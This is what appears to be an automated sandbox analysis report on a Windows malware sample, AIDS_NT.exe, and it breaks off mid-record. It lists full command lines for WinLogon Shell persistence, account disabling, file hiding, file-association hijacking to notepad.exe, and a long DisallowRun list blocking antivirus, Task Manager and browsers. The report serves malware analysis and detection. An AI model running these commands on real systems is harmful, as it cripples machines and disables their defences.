Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AVIFile\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\zipfile	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\cplfile\shell\open	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AVIFile\shell\open\command\ = "notepad.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\asmfile\shell\open\command\ = "notepad.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\curfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\logfile\shell\open\command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\tmpfile	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\logfile\shell	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\cplfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\isofile	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\dllfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\slnfile	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\aafile\shell\open	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ctfile	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\vbsfile\shell\open\command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mp4file\shell\open\command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\pngfile\shell	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\hfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\rarfile\shell\open	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\cabfile\shell\open\command\ = "notepad.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7zfile\shell\open	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\allfile	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\gzfile\shell\open	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\cfgfile	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\jpegfile\shell	reg.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeSecurityPrivilege	3656	AIDS_NT.exe
Token: SeRestorePrivilege	3656	AIDS_NT.exe
Token: SeShutdownPrivilege	1780	shutdown.exe
Token: SeRemoteShutdownPrivilege	1780	shutdown.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4960	PickerHost.exe
2648	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3656 wrote to memory of 5088	3656	AIDS_NT.exe	80
PID 5088 wrote to memory of 688	5088	cmd.exe	82
PID 5088 wrote to memory of 5316	5088	cmd.exe	83
PID 5088 wrote to memory of 5616	5088	cmd.exe	84
PID 3656 wrote to memory of 5472	3656	AIDS_NT.exe	85
PID 5472 wrote to memory of 5672	5472	cmd.exe	87
PID 5472 wrote to memory of 5832	5472	cmd.exe	88
PID 5472 wrote to memory of 5908	5472	cmd.exe	89
PID 5908 wrote to memory of 5044	5908	net.exe	90
PID 5472 wrote to memory of 564	5472	cmd.exe	91
PID 5472 wrote to memory of 5932	5472	cmd.exe	92
PID 5472 wrote to memory of 2528	5472	cmd.exe	93
PID 5472 wrote to memory of 4376	5472	cmd.exe	94
PID 5472 wrote to memory of 3876	5472	cmd.exe	97
PID 5472 wrote to memory of 5236	5472	cmd.exe	98
PID 5472 wrote to memory of 2636	5472	cmd.exe	99
PID 5472 wrote to memory of 1540	5472	cmd.exe	100
PID 5472 wrote to memory of 2148	5472	cmd.exe	101
PID 5472 wrote to memory of 1788	5472	cmd.exe	102
PID 5472 wrote to memory of 5896	5472	cmd.exe	103
PID 5472 wrote to memory of 6060	5472	cmd.exe	104
PID 5472 wrote to memory of 2084	5472	cmd.exe	105
PID 5472 wrote to memory of 2036	5472	cmd.exe	106
PID 5472 wrote to memory of 4260	5472	cmd.exe	107
PID 5472 wrote to memory of 5204	5472	cmd.exe	108
PID 5472 wrote to memory of 5256	5472	cmd.exe	109
PID 5472 wrote to memory of 6032	5472	cmd.exe	111
PID 5472 wrote to memory of 1232	5472	cmd.exe	112
PID 5472 wrote to memory of 1236	5472	cmd.exe	113
PID 5472 wrote to memory of 1660	5472	cmd.exe	114
PID 5472 wrote to memory of 5836	5472	cmd.exe	115
PID 5472 wrote to memory of 6136	5472	cmd.exe	116
PID 5472 wrote to memory of 2996	5472	cmd.exe	117
PID 5472 wrote to memory of 5700	5472	cmd.exe	118
PID 5472 wrote to memory of 5496	5472	cmd.exe	119
PID 5472 wrote to memory of 752	5472	cmd.exe	120
PID 5472 wrote to memory of 2532	5472	cmd.exe	121
PID 5472 wrote to memory of 5732	5472	cmd.exe	122
PID 5472 wrote to memory of 3840	5472	cmd.exe	123
PID 5472 wrote to memory of 2616	5472	cmd.exe	124
PID 5472 wrote to memory of 2836	5472	cmd.exe	125
PID 5472 wrote to memory of 4852	5472	cmd.exe	126
PID 5472 wrote to memory of 2620	5472	cmd.exe	127
PID 5472 wrote to memory of 4008	5472	cmd.exe	128
PID 5472 wrote to memory of 2760	5472	cmd.exe	129
PID 5472 wrote to memory of 4384	5472	cmd.exe	130
PID 5472 wrote to memory of 4484	5472	cmd.exe	131
PID 5472 wrote to memory of 1804	5472	cmd.exe	132
PID 5472 wrote to memory of 3096	5472	cmd.exe	133
PID 5472 wrote to memory of 5876	5472	cmd.exe	134
PID 5472 wrote to memory of 1060	5472	cmd.exe	135
PID 5472 wrote to memory of 2960	5472	cmd.exe	136
PID 5472 wrote to memory of 1552	5472	cmd.exe	137
PID 5472 wrote to memory of 3188	5472	cmd.exe	138
PID 5472 wrote to memory of 4644	5472	cmd.exe	139
PID 5472 wrote to memory of 2220	5472	cmd.exe	140
PID 5472 wrote to memory of 2156	5472	cmd.exe	141
PID 5472 wrote to memory of 2488	5472	cmd.exe	142
PID 5472 wrote to memory of 5992	5472	cmd.exe	143
PID 5472 wrote to memory of 1468	5472	cmd.exe	144
PID 5472 wrote to memory of 2128	5472	cmd.exe	145
PID 5472 wrote to memory of 4968	5472	cmd.exe	146
PID 5472 wrote to memory of 3684	5472	cmd.exe	147
PID 5472 wrote to memory of 3592	5472	cmd.exe	148

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5832	attrib.exe

C:\Users\Admin\AppData\Local\Temp\AIDS_NT.exe
"C:\Users\Admin\AppData\Local\Temp\AIDS_NT.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3656
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\start.bat" "
  2⤵
  - Drops file in Windows directory
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v Shell
    3⤵
    - Modifies WinLogon for persistence
    PID:688
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v Shell /d "explorer.exe, C:\Windows\AIDS_NT_Instructions.txt, C:\Windows\aids.bat, C:\Windows\42.exe, C:\Windows\1.bat"
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:5316
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Windows\1.jpg /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:5616
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\PkgMgr.bat" "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5472
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\nircmd.exe
    nircmd win hide title "C:\Windows\system32\cmd.exe"
    3⤵
    - Executes dropped EXE
    PID:5672
- - C:\Windows\SysWOW64\attrib.exe
    attrib C:\Windows\PkgMgr.bat +h +s +a +r
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:5832
- - C:\Windows\SysWOW64\net.exe
    net user ╨É╨┤╨╝╨╕╨╜╨╕╤ü╤é╤Ç╨░╤é╨╛╤Ç /active:no
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5908
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user ╨É╨┤╨╝╨╕╨╜╨╕╤ü╤é╤Ç╨░╤é╨╛╤Ç /active:no
      4⤵
      PID:5044
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /f /v HideFastUserSwitching /t REG_DWORD /d "1"
    3⤵
    PID:564
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun"
    3⤵
    - Blocks application from running via registry modification
    PID:5932
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /f /v "DisallowRun" /t REG_DWORD /d "1"
    3⤵
    PID:2528
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "MSASCui.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4376
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "2" /t REG_SZ /d "msmpeng.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:3876
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "3" /t REG_SZ /d "msdt.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:5236
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "4" /t REG_SZ /d "ProcessHacker.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2636
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "5" /t REG_SZ /d "spideragent.exe " /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:1540
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "6" /t REG_SZ /d "SbieSvc.exe " /f
    3⤵
    - Blocks application from running via registry modification
    PID:2148
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "7" /t REG_SZ /d "SearchUI.exe " /f
    3⤵
    - Blocks application from running via registry modification
    PID:1788
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "8" /t REG_SZ /d "dwscanner.exe" /f
    3⤵
    PID:5896
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "9" /t REG_SZ /d "aswEngSrv.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6060
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "10" /t REG_SZ /d "AvastSvc.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:2084
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "11" /t REG_SZ /d "AvastUI.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:2036
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "12" /t REG_SZ /d "AvastBrowserCrashHandler.exe" /f
    3⤵
    PID:4260
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "13" /t REG_SZ /d "chrome.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5204
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "14" /t REG_SZ /d "VirtualBox.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:5256
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "15" /t REG_SZ /d "CCleaner64.exe" /f
    3⤵
    PID:6032
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "16" /t REG_SZ /d "CCleaner32.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:1232
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "17" /t REG_SZ /d "CCleaner86.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:1236
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "18" /t REG_SZ /d "CCleaner.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1660
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "19" /t REG_SZ /d "firefox.exe" /f
    3⤵
    PID:5836
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "20" /t REG_SZ /d "taskmgr.exe" /f
    3⤵
    PID:6136
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "21" /t REG_SZ /d "opera.exe" /f
    3⤵
    PID:2996
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "22" /t REG_SZ /d "iexplore.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:5700
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "23" /t REG_SZ /d "perfmon.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5496
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "24" /t REG_SZ /d "msconfig.exe" /f
    3⤵
    PID:752
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "25" /t REG_SZ /d "WUDFHost.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2532
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "26" /t REG_SZ /d "msconfig.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:5732
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "27" /t REG_SZ /d "SecurityHealthSystray.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:3840
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "28" /t REG_SZ /d "rstrui.exe" /f
    3⤵
    PID:2616
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "29" /t REG_SZ /d "mcapexe.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:2836
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "30" /t REG_SZ /d "McCSPServiceHost.exe " /f
    3⤵
    PID:4852
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "31" /t REG_SZ /d "McInstruTrack.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:2620
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "32" /t REG_SZ /d "McPvTray.exe " /f
    3⤵
    - Blocks application from running via registry modification
    PID:4008
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "33" /t REG_SZ /d "mcshield.exe " /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2760
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "34" /t REG_SZ /d "McUICnt.exe " /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4384
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "35" /t REG_SZ /d "MfeAVSvc.exe " /f
    3⤵
    - Blocks application from running via registry modification
    PID:4484
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "36" /t REG_SZ /d "mfefire.exe " /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:1804
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "37" /t REG_SZ /d "mfevtps.exe " /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3096
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "38" /t REG_SZ /d "MMSSHOST.exe " /f
    3⤵
    - Blocks application from running via registry modification
    PID:5876
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "39" /t REG_SZ /d "ModuleCoreService.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:1060
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "40" /t REG_SZ /d "control.exe" /f
    3⤵
    PID:2960
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "41" /t REG_SZ /d "avp.exe " /f
    3⤵
    PID:1552
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "42" /t REG_SZ /d "avpui.exe " /f
    3⤵
    - Blocks application from running via registry modification
    PID:3188
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "43" /t REG_SZ /d "kav.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:4644
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "44" /t REG_SZ /d "vmware.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2220
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "45" /t REG_SZ /d "msinfo32.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:2156
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "46" /t REG_SZ /d "RecoveryDrive.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:2488
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "47" /t REG_SZ /d "dwscanner.exe" /f
    3⤵
    PID:5992
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "48" /t REG_SZ /d "spideragent.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1468
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "49" /t REG_SZ /d "uTorrent.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:2128
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "50" /t REG_SZ /d "firefox.exe" /f
    3⤵
    PID:4968
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "51" /t REG_SZ /d "regedt32.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:3684
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "52" /t REG_SZ /d "resmon.exe" /f
    3⤵
    PID:3592
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "53" /t REG_SZ /d "Defender.exe " /f
    3⤵
    - Blocks application from running via registry modification
    PID:5048
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "54" /t REG_SZ /d "DefenderDaemon.exe" /f
    3⤵
    PID:5192
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "55" /t REG_SZ /d "mbam.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4732
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "56" /t REG_SZ /d "mbamtray.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:4480
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "57" /t REG_SZ /d "MBAMWsc.exe" /f
    3⤵
    PID:4404
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "58" /t REG_SZ /d "mbuns.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:576
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "59" /t REG_SZ /d "MbamPt.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:1172
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "60" /t REG_SZ /d "MBAMService.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:5888
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "61" /t REG_SZ /d "assistant.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:4532
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "62" /t REG_SZ /d "malwarebytes_assistant.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:5348
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "63" /t REG_SZ /d "ig.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:788
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "64" /t REG_SZ /d "browser.exe" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1996
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "65" /t REG_SZ /d "am800.exe" /f
    3⤵
    PID:3960
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "66" /t REG_SZ /d "TOTALCMD64.EXE" /f
    3⤵
    - Blocks application from running via registry modification
    PID:444
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "67" /t REG_SZ /d "TOTALCMD32.EXE" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6008
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "68" /t REG_SZ /d "TOTALCMD86.EXE" /f
    3⤵
    PID:2216
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "69" /t REG_SZ /d "WatchDog.exe" /f
    3⤵
    PID:5596
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "70" /t REG_SZ /d "ProductAgentUI.exe" /f
    3⤵
    PID:1588
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "71" /t REG_SZ /d "ProductAgentService.exe" /f
    3⤵
    - Blocks application from running via registry modification
    - System Location Discovery: System Language Discovery
    PID:5320
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "72" /t REG_SZ /d "DiscoverySrv.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:1584
- - C:\Windows\SysWOW64\reg.exe
